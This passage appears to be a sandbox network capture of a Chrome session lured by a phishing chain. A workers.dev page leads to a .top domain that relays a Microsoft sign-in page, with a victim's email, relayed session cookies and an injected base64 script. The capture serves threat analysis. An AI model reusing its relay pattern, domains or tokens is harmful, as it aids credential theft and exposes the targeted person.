2024-04-25 18:36:57 UTC	8842	IN	Data Raw: a7 b9 77 ef 6f db 48 d2 46 ff 3f 9f 82 c2 fa 67 03 21 44 4b 4e 32 49 40 23 fc d9 b2 3c 71 26 be ac 65 27 99 91 35 5a 90 00 25 58 14 c0 01 40 c9 0a c5 ef 7e ea a9 ea 6e 34 2e 94 9d d9 39 e7 7d 67 37 16 08 34 1a 7d ad ae eb 53 f4 7b 74 65 ee b0 e2 e0 a7 a8 64 6d 22 27 59 a3 fd d6 7c fa 5b ba 58 c8 63 3c bd e1 a7 3f 45 ed 69 d6 de ce da 1a e4 72 ac 2c 11 77 e2 81 5c 47 08 80 c3 81 f9 5d 15 87 de f0 6c 25 4a 62 89 4a 4b 85 d0 a5 7f b0 3b b8 3d c1 03 f6 08 ad 5d 41 32 b9 e1 23 e6 8f 45 69 5c 18 01 7f 54 ab 4d 13 5e a4 6e 62 b6 7f c2 5d 61 ea 90 68 82 b1 06 c2 dd 05 bb d0 29 35 0f 2b 50 37 ba 68 b8 16 a5 e3 96 48 0a de 7e 57 38 e4 44 11 dc 17 8e 06 02 c5 61 4f b6 4a 45 53 32 f8 ea 6c e8 44 17 af a2 cc f6 2a 52 c6 8c 0c 12 15 d4 e7 6e ea f1 d8 33 88 46 6d f1 44 Data Ascii: woHF?g!DKN2I@#<q&e'5Z%X@~n4.9}g74}S{tedm"'Y\|[Xc<?Eir,w\G]l%JbJK;=]A2#Ei\TM^nb]ah)5+P7hH~W8DaOJES2lD*Rn3FmD
2024-04-25 18:36:57 UTC	16384	IN	Data Raw: 40 4b 86 eb 8c 5a 13 a4 be 2c ee 40 bc e8 37 e3 ac 6e 43 98 4f ba cb 26 da 00 d7 c1 8c 8a 82 a8 d4 ae 73 e3 1f 7e 54 c3 e8 6e 61 52 7a f9 1f e3 27 29 f2 27 9b 0f 6c d0 72 b7 49 5d 74 e8 4a 9b ad bc f3 33 35 40 38 f2 26 15 a1 10 04 0e b7 c0 19 38 28 6a 37 7b fa e0 b6 4f 78 6d c9 46 6c 86 c0 03 99 59 23 b7 86 3c 14 b4 97 0a 44 76 43 70 22 f3 72 09 f5 a3 42 0b ea c5 83 61 ed 2b 36 53 e9 f9 b3 fb f7 67 0c 60 b1 0a cb 70 16 9a 48 9f 92 e4 20 84 71 2b a6 a0 1b ae 52 fb 80 a8 48 13 df 72 1e 64 8d 53 de f1 14 40 9b 63 65 06 05 b0 e1 b8 ef a8 8f 27 45 18 07 8a 9e cd dd 78 84 85 e5 19 f3 69 3c 92 15 46 e4 ab 1d 44 f5 2a af d7 e5 00 6f 0d 0c b8 84 02 eb 9d 6b f7 99 0c 80 3b cb 70 15 0e 87 c9 58 ed ab 26 ea 18 ef a4 15 ed c3 25 5f 01 0e 6b 27 69 87 34 cb 01 38 b3 39 Data Ascii: @KZ,@7nCO&s~TnaRz')'lrI]tJ35@8&8(j7{OxmFlY#<DvCp"rBa+6Sg`pH q+RHrdS@ce'Exi<FD*ok;pX&%_k'i489
2024-04-25 18:36:57 UTC	498	IN	Data Raw: 23 6a 37 82 c5 a4 76 79 d0 57 bb 1a 2c c0 69 b5 0f db c0 98 2e fb e7 e9 33 bd 57 7a 3f ee 7d d1 d3 7b 24 f9 7d f5 fa dd e7 46 a1 30 a3 60 77 7b 87 53 4d 9b 8c 45 b9 39 01 91 98 39 57 3a 60 1d b7 42 6b a0 d8 1e c3 f5 85 cb cc ca c4 58 c2 95 b1 42 cc ec a2 67 a1 54 92 16 2a b2 e2 2e 9c c3 a3 77 47 ef 8f 0e df fe f2 82 51 9d f3 b0 f3 94 ce 2c 90 71 6a 7f ee 69 fd 99 f9 48 aa 86 af 1e 69 37 99 34 2b 0d ea 5a 86 8e 0a 9d e4 a1 ef 9d 39 a4 ad 98 b8 65 8b 8b 4a 8a 52 7c d1 5b 3e ca 08 da d7 71 0d ed ae 14 ee 5a 7b a8 07 71 d2 a1 58 f4 d5 da 05 6e 08 17 b8 01 cf 4a 40 ef 89 97 af 24 0f a6 25 fe e8 db 3d 6f bc 65 a3 7e 6e 38 9c 77 4f cd 42 d7 ca e5 3b 7b df e8 3a 36 1a 5e 8a 07 78 0d f3 d3 a4 0b 33 59 47 b4 8a 94 f1 ee 4b 43 9c 6a 46 85 93 0a cf ea 60 1a 87 41 7c Data Ascii: #j7vyW,i.3Wz?}{$}F0`w{SME99W:`BkXBgT*.wGQ,qjiHi74+Z9eJR\|[>qZ{qXnJ@$%=oe~n8wOB;{:6^x3YGKCjF`A\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49747	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:58 UTC	671	OUT	GET /favicon.ico HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com& Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:58 UTC	585	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:58 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3255 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4TLKtAiNFyCw5bpiGcxBsd5ByRz%2F8s6JvWByTbFul5awDqmGjBFK9%2BIaopnh3kTw6AwziyaNBh4GB1s9Nt3tm8Rf24GzQJz45mHSuakYImXD9yYmJdrLlq2Ns%2BKM4QjZTn2F6r8ng%2FmRCKoL8nz9coyA9gQuzR0k3ZHd%2FnHbyAY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0710f5bf853ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:58 UTC	784	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 Data Ascii: <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewpor
2024-04-25 18:36:58 UTC	1369	IN	Data Raw: 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f Data Ascii: goe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-color:transparent;text-decoration:none;co
2024-04-25 18:36:58 UTC	1102	IN	Data Raw: 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: bottom:1rem}}@keyframes lds-ring{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media screen and (-ms-high-contrast:active),screen and (-ms-high-contrast:none){.main-wrapper,body{display:block}}@media (prefers-color-scheme:dark){body{background-colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49754	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:58 UTC	3486	OUT	GET /captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; fpc=AlQZcavYEAhAkPirn2lEBLc; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd82lSCu0BXePn0A_Kv9z2Yg2Rfz-1hzKb96rPs4sgy0b6kyDzZH9E5-sfPbrs-oVHt58TRsHb9gnVEPUXsEkmw0cXVuLVyqL_Wp-rC8l8e3H4a6OCYn5m8rWbOPiRBsrHvLgVpOWOQkaxsQz9O2wQGYBt4t_8pAVNSC2I3Ak_uTGQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-25 18:36:59 UTC	2491	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: acfbdfbe-605a-4b70-9c90-30f73ed28600 x-ms-ests-server: 2.1.17910.10 - WUS3 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; expires=Sat, 25-May-2024 18:36:58 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; expires=Sat, 25-May-2024 18:36:58 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 25 Apr 2024 18:36:58 GMT Connection: close content-length: 42120 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:36:59 UTC	13893	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-04-25 18:36:59 UTC	16384	IN	Data Raw: 30 30 32 36 6d 73 61 72 65 64 69 72 3d 31 5c 75 30 30 32 36 6c 6f 67 69 6e 5f 68 69 6e 74 3d 73 68 65 75 65 25 34 30 37 68 61 69 72 63 61 72 65 2e 63 6f 6d 5c 75 30 30 32 36 63 6c 69 65 6e 74 2d 72 65 71 75 65 73 74 2d 69 64 3d 30 33 64 35 37 34 66 37 2d 62 61 64 33 2d 65 32 64 30 2d 63 37 35 63 2d 35 61 32 35 63 63 36 63 34 63 36 63 5c 75 30 30 32 36 70 72 6f 74 65 63 74 65 64 74 6f 6b 65 6e 3d 74 72 75 65 5c 75 30 30 32 36 63 6c 61 69 6d 73 3d 25 37 62 25 32 32 69 64 5f 74 6f 6b 65 6e 25 32 32 25 33 61 25 37 62 25 32 32 78 6d 73 5f 63 63 25 32 32 25 33 61 25 37 62 25 32 32 76 61 6c 75 65 73 25 32 32 25 33 61 25 35 62 25 32 32 43 50 31 25 32 32 25 35 64 25 37 64 25 37 64 25 37 64 5c 75 30 30 32 36 6e 6f 6e 6f 6e 63 65 3d 36 33 38 34 39 36 36 37 30 31 36 Data Ascii: 0026msaredir=1\u0026login_hint=sheue%407haircare.com\u0026client-request-id=03d574f7-bad3-e2d0-c75c-5a25cc6c4c6c\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nononce=63849667016
2024-04-25 18:36:59 UTC	11843	IN	Data Raw: 22 29 2b 22 27 22 2c 65 2b 3d 22 2c 20 69 64 3a 22 2b 28 72 2e 69 64 7c 7c 22 22 29 2c 65 2b 3d 22 2c 20 61 73 79 6e 63 3a 22 2b 28 72 2e 61 73 79 6e 63 7c 7c 22 22 29 2c 65 2b 3d 22 2c 20 64 65 66 65 72 3a 22 2b 28 72 2e 64 65 66 65 72 7c 7c 22 22 29 29 2c 74 2e 61 70 70 65 6e 64 4c 6f 67 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 66 2e 24 42 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 29 7b 69 66 28 65 29 7b 64 3d 65 2e 49 45 7d 65 6c 73 65 7b 76 61 72 20 72 3d 66 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 64 3d 2d 31 21 3d 3d 72 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 20 22 29 7c 7c 2d 31 21 3d 3d 72 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 22 29 7d 7d 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 Data Ascii: ")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49755	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:58 UTC	380	OUT	GET /favicon.ico HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:58 UTC	593	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:58 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3255 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RTbUTn0NK5rNgZ0UaT4RD%2BJGeBUSwAp3laSHbq5u%2ByG4SzOpXRIoigPyL3U9h71SXQ%2FD5TNaPw9JuYQQdwD%2FSqWQc%2FAuinmgUyfjIO3JgVvn5r6swJFippV2cn9%2B%2BXCi%2FjPNFifStfSr%2F8TAMFTyKOagticE46c9JUmdDyR7p9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a071129c9c452b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:58 UTC	776	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 Data Ascii: <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewpor
2024-04-25 18:36:58 UTC	1369	IN	Data Raw: 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e Data Ascii: mFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-color:transparent;text-decoration
